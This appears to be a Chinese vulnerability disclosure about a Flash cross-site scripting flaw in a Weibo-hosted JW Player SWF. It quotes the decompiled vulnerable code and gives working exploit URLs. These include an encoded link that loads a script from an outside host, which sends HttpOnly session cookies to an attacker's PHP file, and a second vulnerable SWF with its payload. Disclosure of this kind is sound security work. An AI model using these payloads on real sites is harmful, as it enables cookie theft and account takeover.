最近突然觉得，很多FLASH开发人员在编写的时候，忽视了安全问题。被恶意利用的话，可以实现URL跳转，COOKIES盗取，甚至是蠕虫攻击。
漏洞测试：IE , firefox , chrome(= = 这个输入测试代码，浏览器直接崩溃了)
漏洞成因：
1. 首先说的是FLASH编程安全问题：
一些编程人员，对于loaderInfo.parameters 所传入的参数都不会严格过滤，甚至很多开发人员都有把Javascript函数名作为参数传入的习惯。
而事实证明，新浪的开发人员也有类似的习惯。
2. 首先google 了一下inurl:(swf) site:weibo.com ，将搜索结果中的SWF全部下载下来。 用ASV全部反编一下，得到若干txt文件，每个FLASH一个。
3. 漏洞利用条件： 有parameters, 有ExternalInterface.call。 我们以此2个关键词搜索上面得到的txt文件。
4. 最终锁定一个目标。http://tw.weibo.com/_common/jwplayer/player.swf
5. 其漏洞源码如下：
//加载外部参数
this.loadFlashvars(RootReference.root.loaderInfo.parameters);
//写入参数
this.setConfigParam(param, params[param]);
//继续,可以看到参数写到了_config 里
this._config[_arg1.toLowerCase()] = Strings.serialize(Strings.trim(_arg2));
//再搜索ExternalInterface.call，找到以下位置
var callbacks:* = (_player.config.playerready) ? ((_player.config.playerready + ",") + "playerReady") : "playerReady";
if (ExternalInterface.available){
for each (callback in callbacks.replace(/\s/, "").split(",")) {
try {
ExternalInterface.call(callback, {id:evt.id, client:evt.client, version:evt.version});
} catch(e:Error) {
};
};
clearQueuedEvents();
};
//可以看出call<--callback<--callbacks<---_player.config.playerready
6. 基于以上分析，我们可以很容易构造出利用代码。
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){alert('xxx');})
7. 但是这样的代码，还不足以构成危害。 顶多就是一个URL跳转。 连cookies都是获取不到的。如以下代码，将返回[拒绝访问]的错误。
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){try{alert(document.cookie)}catch(e){alert(e.description)}})
8. 突破限制，获取cookies。
正好昨天在百度javascript吧看到一片帖子href,src的妙用（http://tieba.baidu.com/p/1583718448）。正好拿来突破这种限制了。
(广告一下，喜欢javascript的可以经常来玩玩！！)。
利用文章中所讲技巧，构造以下代码：
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){location.href='javascript:"<script>alert(document.cookie)</script>"'})
9. 从上面可以看出，弹出weibo.com的cookies里。但是当我拿这个cookies来发送微博的时候，发现不成功。 比较了一下获取的cookies，发现SUS，SUE两个值是http-only的，也就是document.cookie得不到的。
10. 前些天看到有人发腾讯的apache cookie 泄漏漏洞，结果因为没有漏洞利用场景被忽略了。看了下tw.weibo.com的HTTP头，正好是apache的，我们这里可以尝试用一用了！！
从exploit-db下载了利用的JS，做了点小修改。如下，保存为http://appmaker.sinaapp.com/test3.js
11. 构造以下利用代码，调用上面这个JS文件。代码中的test.php为接收cookies的文件。
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){location.href='javascript:"<script/src=\'//appmaker.sinaapp.com\/test3.js\'></script>"'})
编码一下，可以发到微博：
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function()%7Blocation.href%3D'javascript%3A%22%3Cscript%2Fsrc%3D%5C'%2F%2Fappmaker.sinaapp.com%5C%2Ftest3.js%5C'%3E%3C%2Fscript%3E%22'%7D)
12. 结果表明该服务器存在apache cookies泄漏漏洞，效果见漏洞证明。
------------------------------------------------------------
总结：1. FLASH的编写安全不容忽视，实际上，我找到了10多个FLASH中，有2个FLASH可以被利用到。这说明这种漏洞不是偶然，而是被开发者忽略掉的一个问题。
另外一个不在weibo.com的域名下。提供给你们一起修复下吧!
http://js.t.sinajs.cn/t4/home/static/swf/img/SinaCollage.swf?JSHandler=(function(){alert('xxx')})
2. 本流程为apache cookies泄漏漏洞的利用，提供了一个利用场景。
漏洞证明：1. 微博写入链接：
2. 点击链接后，抓包，见图
A. Apache cookies 泄漏图，其中包含有document.cookie无法获取到的SUS,SUE
B. 可以看到Cookies被转发到我们指定的PHP文件中。
3. 利用Cookies在SAE发送微博失败。。 提示是
“抱歉，你当前使用的账号、IP或应用由于违反了新浪微博的安全检测规则，暂时无法完成此操作啦。你可以绑定手机来取消此限制，如有问题@微博客服反馈。” 可能做了某些其他限制。
修复方案：
1. 审查已上线的FLASH文件代码，严格控制FLASH文件参数的输入
2. apache的漏洞给打补丁。
